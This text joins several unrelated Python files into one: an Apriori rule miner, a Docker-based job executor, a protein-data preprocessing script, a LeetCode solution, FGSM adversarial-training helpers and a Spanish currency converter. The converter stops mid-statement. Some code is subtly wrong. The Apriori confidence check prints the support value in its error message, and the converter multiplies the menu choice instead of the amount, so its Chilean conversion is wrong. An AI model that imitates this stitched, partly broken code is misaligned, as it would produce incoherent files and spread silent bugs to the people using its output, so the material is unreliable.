"""
The implementation of the Apriori algorithm.
The Apriori algorithm mines for association rules breadth-first.
To restrain the depth of association rules, the Apriori algorithm accepts two parameters:

    1. `minsup`: The minimum support of an itemset to be part of a rule.
    2. `minconf`: The minimum confidence of an association rule to be accepted.
"""

import os
import sys

path = os.path.join(os.path.dirname(__file__), '..', '..')
if path not in sys.path:
    sys.path.append(path)

import association

def apriori(transactions, minsup=0, minconf=0):
    """
    Perform the Apriori algorithm over the given transactions.

    :param transactions: A list of transactions, each containing any number of items.
    :type transactions: list of list or list of set
    :param minsup: The minimum support of an itemset to be part of a rule.
                   It is bound between 0 and 1 and is inclusive.
    :type minsup: float
    :param minconf: The minimum confidence of an association rule to be accepted.
                   It is bound between 0 and 1 and is inclusive.
    :type minconf: float

    :return: A list of association rules.
             Each rule is a four-tuple made up of the antecedent, consequent, confidence and support respectively.
    :rtype: list of tuple

    :raises ValueError: When the minimum support is not between 0 and 1.
    :raises ValueError: When the minimum confidence is not between 0 and 1.
    """

    rules = [ ]

    if not 0 <= minsup <= 1:
        raise ValueError(f"The minimum support needs to be between 0 and 1; received {minsup}")

    if not 0 <= minconf <= 1:
        raise ValueError(f"The minimum confidence needs to be between 0 and 1; received {minsup}")

    """
    Extract all items from the transactions.
    These are the unit itemsets.
    """
    items = get_items(transactions)
    sets = items

    """
    Repeatedly filter the itemsets and extract the next itemset until no new itemsets can be extracted.
    """
    itemsets = [ ]
    for length in range(2, len(items) + 1):
        sets = filter_itemsets(transactions, sets, minsup)
        if not sets:
            break

        itemsets.extend(sets)
        sets = get_itemsets(sets, length)

    """
    Go through all itemsets and extract association rules from them.
    This process first extracts the initial rule from the itemset.
    Then, it repeatedly extracts all possible rules and filters them until no new rules can be extracted.
    """
    for itemset in itemsets:
        next = next_rules(transactions, itemset)
        for i in range(len(itemset)):
            next = filter_rules(next, minconf)
            if not next:
                break

            rules.extend(next)
            next = [ next_rule for antecedent, consequent, _ in next
                                for next_rule in next_rules(transactions, antecedent, consequent) ]

    """
    Calculate the support for each remaining rule.
    """
    rules = [ (antecedent, consequent, confidence, association.support(transactions, antecedent.union(consequent)))
               for antecedent, consequent, confidence in rules ]

    return rules

def get_items(transactions):
    """
    Extract all items from the transactions.

    :param transactions: A list of transactions, each containing any number of items.
    :type transactions: list of list or list of set

    :return: A list of items in the transactions.
             Each item is returned as an itemset on its own.
    :rtype: list of set
    """

    items = set([ item for transaction in transactions
                       for item in transaction ])
    return [ { item } for item in items ]

def get_itemsets(itemsets, length):
    """
    Construct new itemsets from the given ones.
    All new itemsets have the given length.

    :param itemsets: The itemset from which to which to create the new itemsets.
    :type itemsets: list of list or list of set
    :param length: The length of the new itemsets.
                   This is usually one bigger than the length of any given itemset.
    :type length: int

    :return: The new itemsets, created by combining the given itemsets.
             All itemsets have the same length, as given in the parameters.
    :rtype: list of set

    :raises ValueError: When the length is not an integer.
    :raises ValueError: When the length is not positive.
    """

    if type(length) is not int and length % 1:
        raise ValueError(f"The itemset length has to be an integer; received {length} ({type(length)})")

    if length <= 0:
        raise ValueError(f"The itemset length has to be positive; received {length}")

    """
    Convert all the itemsets to sets first.
    Then, make sure that there are no duplicate itemsets.
    """
    itemsets = [ set(itemset) for itemset in itemsets ]
    unique_itemsets = [ ]
    for itemset in itemsets:
        if itemset not in unique_itemsets:
            unique_itemsets.append(itemset)
    itemsets = unique_itemsets

    """
    Expand the itemsets.
    """
    expanded = [ ]
    for n, itemset_1 in enumerate(itemsets):
        for itemset_2 in itemsets[n + 1:]:
            expanded.append(itemset_1.union(itemset_2))

    """
    Filter out itemsets that do not match the given length.
    """
    expanded = [ itemset for itemset in expanded if len(itemset) == length ]
    return expanded

def filter_itemsets(transactions, itemsets, minsup):
    """
    Filter the itemsets to retain only those having a minimum support.

    :param transactions: A list of transactions, each containing any number of items.
    :type transactions: list of list or list of set
    :param itemsets: The itemsets to filter.
    :type itemsets: list of list or list of set
    :param minsup: The minimum support of an itemset to be part of a rule.
                   It is bound between 0 and 1 and is inclusive.
    :type minsup: float

    :return: The filtered itemsets.
             All itemsets have at least a support equivalent to the given minimum.
    :rtype: list of set

    :raises ValueError: When the minimum support is not between 0 and 1.
    """

    if not 0 <= minsup <= 1:
        raise ValueError(f"The minimum support needs to be between 0 and 1; received {minsup}")

    """
    Remove any duplicate itemsets.
    """
    unique_itemsets = [ ]
    for itemset in itemsets:
        if itemset not in unique_itemsets:
            unique_itemsets.append(itemset)
    itemsets = unique_itemsets

    return [ itemset for itemset in itemsets
             if association.support(transactions, itemset) >= minsup ]

def next_rules(transactions, antecedent, consequent=None):
    """
    Generate the next rules from the given antecedent and consequent.
    The function generates rules by taking one item from the antecedent and adding it to the consequent.

    :param transactions: A list of transactions, each containing any number of items.
    :type transactions: list of list or list of set
    :param antecedent: The antecedent is the condition for the association rule.
                       It is presented as a set of items.
    :type antecedent: list or set
    :param consequent: The consequent is the conclusion of the antecedent.
    :type consequent: list or set or None

    :return: A list of association rules.
             Each rule is a two-tuple made up of the antecedent and consequent respectively.
    :rtype: list of tuple
    """

    rules = [ ]

    antecedent = set(antecedent)
    consequent = consequent or set()

    """
    A rule must have both an antecedent and a consequent.
    Therefore if there is only one antecedent, then no new rules can be extracted.
    """
    if len(antecedent) <= 1:
        return [ ]

    """
    Go through each item in the antecedent and move it to the consequent to create a new rule.
    """
    for item in antecedent:
        copy = set(antecedent)
        copy.remove(item)
        confidence = association.confidence(transactions, copy, consequent.union({ item }))
        rules.append((copy, consequent.union({ item }), confidence))

    return rules

def filter_rules(rules, minconf):
    """
    Filter the rules to retain only those having a minimum confidence.

    :param rules: The rules to filter.
    :type rules: list of tuple
    :param minconf: The minimum confidence of an association rule to be accepted.
                   It is bound between 0 and 1 and is inclusive.
    :type minconf: float

    :return: The filtered rules.
             All rules have at least a confidence equivalent to the given minimum.
    :rtype: list of set

    :raises ValueError: When the minimum confidence is not between 0 and 1.
    """

    if not 0 <= minconf <= 1:
        raise ValueError(f"The minimum confidence needs to be between 0 and 1; received {minconf}")

    """
    Remove any duplicate rules.
    """
    unique_rules = [ ]
    for rule in rules:
        if rule not in unique_rules:
            unique_rules.append(rule)
    rules = unique_rules

    return [ (antecedent, consequent, confidence) for (antecedent, consequent, confidence) in rules
             if confidence >= minconf ]


# Standard Library
import random
import re
import traceback
from json import loads

# 3rd Party
import docker
import pybreaker
import requests
from dateutil.parser import parse
from flask import Blueprint, current_app, g, make_response, request

# Fastlane
from fastlane.worker import ExecutionResult
from fastlane.worker.errors import HostUnavailableError

# http://docs.docker.com/engine/reference/commandline/ps/#examples
# One of created, restarting, running, removing, paused, exited, or dead
STATUS = {
    "created": ExecutionResult.Status.created,
    "exited": ExecutionResult.Status.done,
    "dead": ExecutionResult.Status.failed,
    "running": ExecutionResult.Status.running,
}

bp = Blueprint("docker", __name__, url_prefix="/docker-executor")
blacklist_key = "docker-executor::blacklisted-hosts"
job_prefix = "fastlane-job"

def get_details():
    details = request.get_json()

    if details is None and request.get_data():
        details = loads(request.get_data())

    return details

@bp.route("/blacklist", methods=["POST", "PUT"])
def add_to_blacklist():
    redis = current_app.redis

    data = get_details()

    if data is None or data == "":
        msg = "Failed to add host to blacklist because JSON body could not be parsed."
        g.logger.warn(msg)

        return make_response(msg, 400)

    if "host" not in data:
        msg = "Failed to add host to blacklist because 'host' attribute was not found in JSON body."
        g.logger.warn(msg)

        return make_response(msg, 400)

    host = data["host"]

    redis.sadd(blacklist_key, host)

    return ""

@bp.route("/blacklist", methods=["DEL", "DELETE"])
def remove_from_blacklist():
    redis = current_app.redis

    data = get_details()

    if data is None or data == "":
        msg = "Failed to remove host from blacklist because JSON body could not be parsed."
        g.logger.warn(msg)

        return make_response(msg, 400)

    if "host" not in data:
        msg = "Failed to remove host from blacklist because 'host' attribute was not found in JSON body."
        g.logger.warn(msg)

        return make_response(msg, 400)

    host = data["host"]

    redis.srem(blacklist_key, host)

    return ""

class DockerPool:
    def __init__(self, docker_hosts):
        self.docker_hosts = docker_hosts

        self.max_running = {}
        self.clients_per_regex = []
        self.clients = {}
        self.__init_clients()

    def __init_clients(self):
        for regex, docker_hosts, max_running in self.docker_hosts:
            client_list = []
            clients = (regex, client_list)
            self.clients_per_regex.append(clients)
            self.max_running[regex] = max_running

            for address in docker_hosts:
                host, port = address.split(":")
                cl = docker.DockerClient(base_url=address)
                self.clients[address] = (host, int(port), cl)
                client_list.append((host, int(port), cl))

    def refresh_circuits(self, executor, clients, blacklisted_hosts, logger):
        def ps(client):
            client.containers.list(sparse=False)

        for host, port, client in clients:
            if f"{host}:{port}" in blacklisted_hosts:
                continue

            try:
                logger.debug("Refreshing host...", host=host, port=port)
                circuit = executor.get_circuit(f"{host}:{port}")
                circuit.call(ps, client)
            except pybreaker.CircuitBreakerError:
                error = traceback.format_exc()
                logger.error("Failed to refresh host.", error=error)

    def get_client(self, executor, task_id, host=None, port=None, blacklist=None):
        logger = current_app.logger.bind(
            task_id=task_id, host=host, port=port, blacklist=blacklist
        )

        if host is not None and port is not None:
            logger.debug("Custom host returned.")

            return self.clients.get(f"{host}:{port}")

        if blacklist is None:
            blacklist = set()

        for regex, clients in self.clients_per_regex:
            logger.debug("Trying to retrieve docker client...", regex=regex)

            if regex is not None and not regex.match(task_id):
                logger.debug("Task ID does not match regex.", regex=regex)

                continue

            self.refresh_circuits(executor, clients, blacklist, logger)
            filtered = [
                (host, port, client)

                for (host, port, client) in clients

                if f"{host}:{port}" not in blacklist
                and executor.get_circuit(f"{host}:{port}").current_state == "closed"
            ]

            if not filtered:
                logger.debug(
                    "No non-blacklisted and closed circuit clients found for farm.",
                    regex=regex,
                )

                continue

            logger.info(
                "Returning random choice out of the remaining clients.",
                clients=[f"{host}:{port}" for (host, port, client) in filtered],
            )

            host, port, client = random.choice(filtered)

            return host, int(port), client

        msg = f"Failed to find a docker host for task id {task_id}."
        logger.error(msg)
        raise RuntimeError(msg)

class Executor:
    def __init__(self, app, pool=None):
        self.app = app
        self.logger = app.logger
        self.pool = pool
        self.circuits = {}

        if pool is None:
            docker_hosts = []
            clusters = loads(self.app.config["DOCKER_HOSTS"])

            self.logger.debug("Initializing docker pool...", clusters=clusters)

            for i, cluster in enumerate(clusters):
                regex = cluster["match"]

                if not regex:
                    regex = None

                    if i != len(clusters):
                        self.logger.warn(
                            "Farm with no regex found before the end of the DOCKER_HOSTS "
                            "definition. This means all the subsequent farms will never be"
                            " used as this one will always match anything that reaches it. "
                            "Please ensure that the farm with no regex match is the last one."
                        )
                else:
                    regex = re.compile(regex)

                hosts = cluster["hosts"]
                max_running = cluster.get("maxRunning", 10)
                self.logger.info(
                    "Found farm definition.",
                    regex=cluster["match"],
                    hosts=hosts,
                    max_running=max_running,
                )
                docker_hosts.append((regex, hosts, max_running))

            self.pool = DockerPool(docker_hosts)

    def validate_max_running_executions(self, task_id):
        total_running = 0
        max_running = 0
        logger = self.logger.bind(
            task_id=task_id, operation="docker_host.validate_max_running_executions"
        )

        for regex, _ in self.pool.clients_per_regex:
            if regex is not None and not regex.match(task_id):
                logger.debug("Farm does not match task_id.", regex=regex)

                continue

            running = self.get_running_containers(regex)
            total_running = len(running["running"])
            max_running = self.pool.max_running[regex]
            logger.debug(
                "Found number of running containers.",
                total_running=total_running,
                max_running=max_running,
            )

            break

        return total_running == 0 or total_running <= max_running

    def get_circuit(self, key):
        max_fails = int(current_app.config["DOCKER_CIRCUIT_BREAKER_MAX_FAILS"])
        reset_timeout = int(
            current_app.config["DOCKER_CIRCUIT_BREAKER_RESET_TIMEOUT_SECONDS"]
        )

        return self.circuits.setdefault(
            key,
            pybreaker.CircuitBreaker(
                fail_max=max_fails,
                reset_timeout=reset_timeout,
                state_storage=pybreaker.CircuitRedisStorage(
                    pybreaker.STATE_CLOSED, current_app.redis, namespace=key
                ),
            ),
        )

    def update_image(self, task, job, execution, image, tag, blacklisted_hosts=None):
        if blacklisted_hosts is None:
            blacklisted_hosts = self.get_blacklisted_hosts()

        logger = self.logger.bind(
            task_id=task.task_id,
            job_id=str(job.job_id),
            execution_id=str(execution.execution_id),
            image=image,
            tag=tag,
            blacklisted_hosts=blacklisted_hosts,
            operation="docker_executor.update_image",
        )

        host, port, cl = self.pool.get_client(
            self, task.task_id, blacklist=blacklisted_hosts
        )
        circuit = self.get_circuit(f"{host}:{port}")

        logger = logger.bind(host=host, port=port)

        @circuit
        def run(logger):
            try:
                logger.debug("Updating image in docker host...")
                cl.images.pull(image, tag=tag)
                execution.metadata["docker_host"] = host
                execution.metadata["docker_port"] = port
                logger.info(
                    "Image updated successfully. Docker host and port stored in Job Execution for future reference."
                )
            except requests.exceptions.ConnectionError as err:
                error = traceback.format_exc()
                logger.error(
                    "Failed to connect to Docker Host. Will retry job later with a new host.",
                    error=error,
                )

                if "docker_host" in execution.metadata:
                    del execution.metadata["docker_host"]

                if "docker_port" in execution.metadata:
                    del execution.metadata["docker_port"]

                raise HostUnavailableError(host, port, err)

        run(logger)

    def run(self, task, job, execution, image, tag, command, blacklisted_hosts=None):
        host, port, cl = None, None, None

        logger = self.logger.bind(
            task_id=task.task_id,
            job_id=str(job.job_id),
            execution_id=str(execution.execution_id),
            image=image,
            tag=tag,
            command=command,
            blacklisted_hosts=blacklisted_hosts,
            operation="docker_executor.run",
        )

        if "docker_host" in execution.metadata:
            h = execution.metadata["docker_host"]
            p = execution.metadata["docker_port"]
            host, port, cl = self.pool.get_client(self, task.task_id, h, p)
        else:
            if blacklisted_hosts is None:
                blacklisted_hosts = self.get_blacklisted_hosts()
            host, port, cl = self.pool.get_client(
                self, task.task_id, blacklist=blacklisted_hosts
            )
            execution.metadata["docker_host"] = host
            execution.metadata["docker_port"] = port
            logger.warn(
                "Docker Host and Port were not found in the execution metadata. "
                "This is weird, since the update image part of running a job "
                "should have selected a docker host.",
                new_host=host,
                new_port=port,
            )

        logger = logger.bind(host=host, port=port)

        circuit = self.get_circuit(f"{host}:{port}")

        @circuit
        def run(logger):
            try:
                container_name = f"{job_prefix}-{execution.execution_id}"
                envs = job.metadata.get("envs", {})
                logger = logger.bind(container_name=container_name, envs=envs)
                logger.debug("Running the Job in Docker Host...")
                container = cl.containers.run(
                    image=f"{image}:{tag}",
                    name=container_name,
                    command=command,
                    detach=True,
                    environment=envs,
                )
                execution.metadata["container_id"] = container.id
                logger.info(
                    "Container started successfully. Container ID stored as Job Execution metadata.",
                    container_id=container.id,
                )
            except requests.exceptions.ConnectionError as err:
                error = traceback.format_exc()
                logger.error(
                    "Failed to connect to Docker Host. Will retry job later with a new host.",
                    error=error,
                )

                if "docker_host" in execution.metadata:
                    del execution.metadata["docker_host"]

                if "docker_port" in execution.metadata:
                    del execution.metadata["docker_port"]

                raise HostUnavailableError(host, port, err)

        run(logger)

        return True

    def stop_job(self, task, job, execution):
        logger = self.logger.bind(
            task_id=task.task_id,
            job_id=str(job.job_id),
            execution_id=str(execution.execution_id),
            operation="docker_executor.stop_job",
        )

        if "container_id" not in execution.metadata:
            logger.warn(
                "Can't stop Job Execution, since it has not been started. Aborting..."
            )

            return

        h = execution.metadata["docker_host"]
        p = execution.metadata["docker_port"]
        host, port, cl = self.pool.get_client(self, task.task_id, h, p)

        logger = logger.bind(host=host, port=port)

        circuit = self.get_circuit(f"{host}:{port}")

        @circuit
        def run(logger):
            try:
                container_id = execution.metadata["container_id"]
                logger = logger.bind(container_id=container_id)
                logger.debug("Finding container...")
                container = cl.containers.get(container_id)
                logger.info("Container found.")
                logger.debug("Stopping container...")
                container.stop()
                logger.info("Container stopped.")
            except requests.exceptions.ConnectionError as err:
                error = traceback.format_exc()
                logger.error("Failed to connect to Docker Host.", error=error)

                raise HostUnavailableError(host, port, err)

        run(logger)

    def convert_date(self, dt):
        return parse(dt)

    def get_result(self, task, job, execution):
        h = execution.metadata["docker_host"]
        p = execution.metadata["docker_port"]
        host, port, cl = self.pool.get_client(self, task.task_id, h, p)

        logger = self.logger.bind(
            task_id=task.task_id,
            job_id=str(job.job_id),
            execution_id=str(execution.execution_id),
            operation="docker_executor.get_result",
        )

        circuit = self.get_circuit(f"{host}:{port}")

        @circuit
        def run(logger):
            try:
                container_id = execution.metadata["container_id"]
                logger = logger.bind(container_id=container_id)
                logger.debug("Finding container...")
                container = cl.containers.get(container_id)
                logger.info("Container found.")

                return container

            except requests.exceptions.ConnectionError as err:
                raise HostUnavailableError(host, port, err)

        container = run(logger)

        # container.attrs['State']
        # {'Status': 'exited', 'Running': False, 'Paused': False, 'Restarting': False,
        # 'OOMKilled': False, 'Dead': False, 'Pid': 0, 'ExitCode': 0, 'Error': '',
        # 'StartedAt': '2018-08-27T17:14:14.1951232Z', 'FinishedAt': '2018-08-27T17:14:14.2707026Z'}

        container_id = execution.metadata["container_id"]
        logger = logger.bind(container_id=container_id)

        result = ExecutionResult(
            STATUS.get(container.status, ExecutionResult.Status.done)
        )

        state = container.attrs["State"]
        result.exit_code = state["ExitCode"]
        result.error = state["Error"]
        result.started_at = self.convert_date(state["StartedAt"])

        logger = logger.bind(
            status=container.status,
            state=state,
            exit_code=result.exit_code,
            error=result.error,
        )

        logger.debug("Container result found.")

        if (
            result.status == ExecutionResult.Status.done
            or result.status == ExecutionResult.Status.failed
        ):
            result.finished_at = self.convert_date(state["FinishedAt"])
            result.log = container.logs(stdout=True, stderr=False)

            if result.error != "":
                result.error += (
                    f"\n\nstderr:\n{container.logs(stdout=False, stderr=True)}"
                )
            else:
                result.error = container.logs(stdout=False, stderr=True)

            logger.info("Container finished executing.", finished_at=result.finished_at)

        return result

    def _get_all_clients(self, regex):
        clients = self.pool.clients.values()

        if regex is not None:
            for r, cl in self.pool.clients_per_regex:
                if r is not None and r != regex:
                    continue

                clients = cl

                break

        return [
            (host, port, client, self.get_circuit(f"{host}:{port}"))

            for host, port, client in clients
        ]

    def _list_containers(self, host, port, client, circuit):
        @circuit
        def run():
            running = []
            containers = client.containers.list(
                sparse=False, filters={"status": "running"}
            )

            for container in containers:
                if not container.name.startswith(job_prefix):
                    continue
                running.append((host, port, container.id))

            return running

        return run()

    def get_running_containers(self, regex=None, blacklisted_hosts=None):
        if blacklisted_hosts is None:
            blacklisted_hosts = self.get_blacklisted_hosts()

        running = []

        unavailable_clients = []
        unavailable_clients_set = set()
        clients = self._get_all_clients(regex)

        for (host, port, client, circuit) in clients:
            if f"{host}:{port}" in blacklisted_hosts:
                unavailable_clients_set.add(f"{host}:{port}")
                unavailable_clients.append(
                    (host, port, RuntimeError("server is blacklisted"))
                )

                continue

            try:
                running += self._list_containers(host, port, client, circuit)
            except Exception as err:
                unavailable_clients_set.add(f"{host}:{port}")
                unavailable_clients.append((host, port, err))

        return {
            "available": [
                {
                    "host": host,
                    "port": port,
                    "available": True,
                    "blacklisted": f"{host}:{port}" in blacklisted_hosts,
                    "circuit": circuit.current_state,
                    "error": None,
                }

                for (host, port, client, circuit) in clients

                if f"{host}:{port}" not in unavailable_clients_set
            ],
            "unavailable": [
                {
                    "host": host,
                    "port": port,
                    "available": False,
                    "blacklisted": f"{host}:{port}" in blacklisted_hosts,
                    "circuit": self.get_circuit(f"{host}:{port}").current_state,
                    "error": str(err),
                }

                for (host, port, err) in unavailable_clients
            ],
            "running": running,
        }

    def get_current_logs(self, task_id, job, execution):
        h = execution.metadata["docker_host"]
        p = execution.metadata["docker_port"]
        host, port, cl = self.pool.get_client(self, task_id, h, p)

        container_id = execution.metadata["container_id"]
        container = cl.containers.get(container_id)

        log = container.logs(stdout=True, stderr=True).decode("utf-8")

        return log

    def get_streaming_logs(self, task_id, job, execution):
        h = execution.metadata["docker_host"]
        p = execution.metadata["docker_port"]
        host, port, cl = self.pool.get_client(self, task_id, h, p)

        container_id = execution.metadata["container_id"]

        logger = self.logger.bind(
            task_id=task_id,
            job=str(job.job_id),
            execution_id=str(execution.execution_id),
            operation="docker_host.get_streaming_logs",
            host=host,
            port=port,
            container_id=container_id,
        )

        try:
            container = cl.containers.get(container_id)

            for log in container.logs(stdout=True, stderr=True, stream=True):
                yield log.decode("utf-8")
        except requests.exceptions.ConnectionError as err:
            error = traceback.format_exc()
            logger.error("Failed to connect to Docker Host.", error=error)

            raise HostUnavailableError(host, port, err)

    def get_blacklisted_hosts(self):
        redis = current_app.redis
        hosts = redis.smembers(blacklist_key)

        return set([host.decode("utf-8") for host in hosts])

    def mark_as_done(self, task, job, execution):
        h = execution.metadata["docker_host"]
        p = execution.metadata["docker_port"]
        host, port, cl = self.pool.get_client(self, task.task_id, h, p)

        container_id = execution.metadata["container_id"]

        logger = self.logger.bind(
            task_id=task.task_id,
            job=str(job.job_id),
            execution_id=str(execution.execution_id),
            operation="docker_host.mark_as_done",
            host=host,
            port=port,
            container_id=container_id,
        )

        try:
            logger.debug("Finding container...")
            container = cl.containers.get(container_id)
            logger.info("Container found.")

            new_name = f"defunct-{container.name}"
            logger.debug("Renaming container...", new_name=new_name)
            container.rename(new_name)
            logger.debug("Container renamed.", new_name=new_name)
        except requests.exceptions.ConnectionError as err:
            error = traceback.format_exc()
            logger.error("Failed to connect to Docker Host.", error=error)

            raise HostUnavailableError(host, port, err)

    def remove_done(self):
        removed_containers = []
        clients = self.pool.clients.values()

        for (host, port, client) in clients:
            containers = client.containers.list(
                sparse=False, all=True, filters={"name": f"defunct-{job_prefix}"}
            )

            for container in containers:
                removed_containers.append(
                    {
                        "host": f"{host}:{port}",
                        "name": container.name,
                        "id": container.id,
                        "image": container.image.attrs["RepoTags"][0],
                    }
                )
                container.remove()

        self.logger.info(
            "Removed all defunct containers.", removed_containers=removed_containers
        )

        return removed_containers


import pandas as pd
import argparse
import numpy

def parse_args():
    parser = argparse.ArgumentParser(description='Pre-process clinvar file')

    parser.add_argument('--mapping_uniprot',
                        dest='protein',
                        help='Uniprot mapping preproc uniprot_all_data_associated_to_mlo_preproc.tsv')

    parser.add_argument('--mobidb_dc',
                        dest='modidb',
                        help='Mobidb disorder content disorder_content.csv')

    opts = parser.parse_args()
    return opts

    parser.parse_args()

if __name__ == "__main__":

    opts = parse_args()
    #uniprot_acc mappping all data (gene_name, gene_id, hgnc_id, etc) of proteins related to mlo
    protein = pd.read_csv(opts.protein, sep="\t")

    # Mobidb disorder content
    mobidb = pd.read_csv(opts.modidb).rename(columns={'uniprot': 'uniprot_acc', 'dc': 'disorder_content'})
    print(f'modibd dc {mobidb.shape[0]}')

    #take in count some uniprot can be old accession
    p_new_old = protein[['id_protein', 'uniprot_other_accesions']].rename(columns={'uniprot_other_accesions': 'uniprot_acc'})
    p_new_old['uniprot_acc'] = p_new_old['uniprot_acc'].str.split(';')
    p_new_old = p_new_old.explode('uniprot_acc')
    p_new_old['uniprot_acc'] = p_new_old['uniprot_acc'].str.strip()
    p_new_old = p_new_old[~p_new_old['uniprot_acc'].isnull()]
    p_new_old = p_new_old[p_new_old['uniprot_acc'] != '']

    p_new_old = pd.concat([protein[['id_protein', 'uniprot_acc']], p_new_old])

    #not human uniprot accessions
    #print(set(mobidb['uniprot_acc'].tolist()).difference(set(p_new_old['uniprot_acc'].tolist())))

    mobidb = mobidb.merge(p_new_old)
    mobidb = mobidb[['id_protein', 'disorder_content']].drop_duplicates()
    print(f'mobidb_dc mapped llps proteins, rows {mobidb.shape[0]}, unique id_protein {len(set(mobidb["id_protein"].tolist()))}')

    #add disorder content
    protein = protein.merge(mobidb, how= 'left')

    protein = protein[['id_protein', 'uniprot_acc', 'uniprot_status', 'length', 'uniprot_name', 'hgnc_id', 'gene_id', 'gene_name', 'disorder_content', 'gene_name_synonyms', 'protein_names', 'sequence']]
    k = "|".join(["ubiquinone", "ATP", "NAD", "NADH", "NADP", "NADPH", "NADP\(\+\)", "NMDA", "ADP\/GDP-forming", "GDP-forming", "ADP-forming", "acylating", "ammonia", "flavin-containing", "isomerizing", "carboxylating", "decarboxylating", "acetyl-transferring"])
    protein['protein_names'] = protein['protein_names'].str.replace(' ?\[('+k+')\]', '', regex=True)

    print(f'total of proteins {protein.shape[0]}')

    protein.to_csv('../db_tables/protein.tsv', sep='\t', index= False)

    '''
    print(numpy.nanmax(protein['uniprot_status'].str.len())) #10
    print(numpy.nanmax(protein['sequence'].str.len())) #34350
    print(numpy.nanmax(protein['hgnc_id'].str.len())) #71
    print(numpy.nanmax(protein['gene_name'].str.len())) #75
    print(numpy.nanmax(protein['gene_id'].str.len())) #73
    print(numpy.nanmax(protein['gene_name_synonyms'].str.len())) #267
    print(numpy.nanmax(protein['protein_names'].str.len())) #631
    print(numpy.nanmax(protein['uniprot_name'].str.len())) #16
    print(numpy.nanmax(protein['uniprot_acc'].str.len())) #10
    '''


# -*- coding: utf-8 -*-

class Solution:
    def getLucky(self, s: str, k: int) -> int:
        result = "".join(str(ord(c) - ord("a") + 1) for c in s)
        for _ in range(k):
            result = sum(int(digit) for digit in str(result))
        return result

if __name__ == "__main__":
    solution = Solution()

    assert 36 == solution.getLucky("iiii", 1)
    assert 6 == solution.getLucky("leetcode", 2)


import numpy as np
import torch
import torch.nn.functional as F

def fgsm_attack(images, epsilons, data_grad, p=1.0):
    images, data_grad = images.unsqueeze(dim=0), data_grad.unsqueeze(dim=0)
    # some validation of the input
    if isinstance(epsilons, np.ndarray):
        assert len(epsilons.shape) == 5 # dimension of image + 1
        epsilons.astype(np.float32)
    else:
        assert isinstance(epsilons, float)
        epsilons = np.array([[[[[epsilons]]]]], dtype=np.float32)

    # Collect the element-wise sign of the data gradient
    mask = torch.reshape(torch.Tensor(np.random.binomial(1, p, len(images))), (1, -1, 1, 1, 1))
    sign_data_grad = (data_grad.sign() * mask).repeat(epsilons.shape)
    # Create the perturbed image by adjusting each pixel of the input image
    perturbed_images = images.repeat(epsilons.shape) + sign_data_grad * epsilons
    # Adding clipping to maintain [0,1] range
    perturbed_images = torch.clamp(perturbed_images, 0, 1)
    # Return the perturbed image
    return perturbed_images.squeeze(dim=0)

def replacement_pipeline(images, targets, epsilon, p, model, device):
    """
    Pipeline to replace some of the inputs by the perturbed images based on the FGSM.
    This is a bit different than the approach presented in Goodfellow et al., 2014. Instead of always using both
    representations (original and perturbed) to update the weights for every input image, we are using only the
    perturbed images in p of the cases and the original in the others. This was proved to be efficient (see
    notebook - Goodfellow2014_exp.ipynb experiment 7) while not needing to calculate the loss an extra time.
    """
    training = model.training
    model.eval()
    images.requires_grad = True
    images.grad = None
    output = model(images)
    model.zero_grad()
    loss = F.nll_loss(output, targets)
    loss.backward()
    data_grad = images.grad.data
    images.requires_grad = False
    if training:
        model.train()
    pert_imgaes = fgsm_attack(images.cpu(), epsilon, data_grad.cpu(), p).to(device)
    return pert_imgaes

def fgsm_regularization(images, targets, epsilon, alpha, model, device):
    pert_images = replacement_pipeline(images, targets, epsilon, 1, model, device)
    output_org = model(images)
    output_pert = model(pert_images)
    loss = alpha * (F.nll_loss(output_org, targets)) + (1 - alpha) * (F.nll_loss(output_pert, targets))
    return loss

def ll_fgsm(images, epsilon, p, model, device, targets=None):
    """
    Similar to replacement_pipeline just here the noise is generated not based on the correct label, but rather based
    on the least likely prediction according to the model (assuming it is already somewhat trained). This fits the idea
    presented in Kurakin et al., 2017 without the iterative part.
    """
    training = model.training
    model.eval()
    images.requires_grad = True
    images.grad = None
    output = model(images)
    ll_targets = targets if targets is not None else output.argmin(dim=1)
    model.zero_grad()
    loss = F.nll_loss(output, ll_targets)
    loss.backward()
    data_grad = -1 * images.grad.data
    images.requires_grad = False
    if training:
        model.train()
    pert_imgaes = fgsm_attack(images.cpu(), epsilon, data_grad.cpu(), p).to(device)
    return pert_imgaes

def iter_adv(images, targets, epsilon, model, ll=False, p=1.0, device='cpu', dynamic_range=255, mask=None):
    assert isinstance(epsilon, float)  # epsilon here represents maximal change, no need to pass more than 1 value
    epsilon_dr = int(epsilon * dynamic_range)
    if mask is None:
        mask = np.random.binomial(1, p, len(images)) == 1.0
    p_placeholder = 1.0
    eps_placeholder = 1.0 / dynamic_range
    pert_images = images
    for i in range(epsilon_dr):
        if not ll:
            pert_images = replacement_pipeline(pert_images, targets, eps_placeholder, p_placeholder, model, device)
        else:
            pert_images = ll_fgsm(pert_images, eps_placeholder, p_placeholder, model, device, targets=targets)
    pert_images[~mask] = images[~mask]
    return pert_images, mask

class FGSMTransform:
    """
    Apply FGSM transformation on the data before training based on another model
    """

    def __init__(self, p, epsilon, path, model):
        self.p = p
        self.epsilon = epsilon

        device = torch.device('cpu')
        model = model.to(device)
        model.load_state_dict(torch.load(path))
        model.eval()
        self.model = model

    def __call__(self, img, target):
        assert isinstance(img, torch.Tensor)
        if torch.rand(1) < self.p:
            img = torch.unsqueeze(img, 0)
            target = torch.tensor([target])
            img.requires_grad = True
            output = self.model(img)
            self.model.zero_grad()
            loss = F.nll_loss(output, target)
            loss.backward()
            data_grad = img.grad.data
            img.requires_grad = False
            pert_img = torch.squeeze(fgsm_attack(img, self.epsilon, data_grad), dim=0)
            return pert_img

        return img


def exchanges(moneda,cantidad):
    result = 0
    if moneda == 1:
        result = moneda*0.0013
        print(f'Los {cantidad} pesos chilenos equivalen a {result} dolares')
    elif moneda == 2:
        result = cantidad*0.00027
        print(f'Los {cantidad} pesos colombianos equivalen a {result} dolares')
    elif moneda == 3:
        result = cantidad*0.014
        print(f'Los {cantidad} pesos argeninos equivalen a {result} dolares')
    elif moneda == 4:
        result = cantidad*0.044
        print(f'Los {cantidad} pesos mexicano equivalen a {result} dolares')
    else:
        print('Ingrese un numero de la seleccion')

if __name__ == "__main__":
    try:
        moneda = int(input('''
        Selecciona la monida que quieres convertir a dolares:
            [1] Peso Chileno a Dolar
            [2] Peso Colombiano a Dolar
            [3] Peso Argentino a Dolar
            [4] Peso Mexicano a Dolar
        Selecciona: '''))
        print('===========================')
        cantidad = int(input('Ingresa la cantidad a convertir: '))
        exchanges(moneda,cantidad)
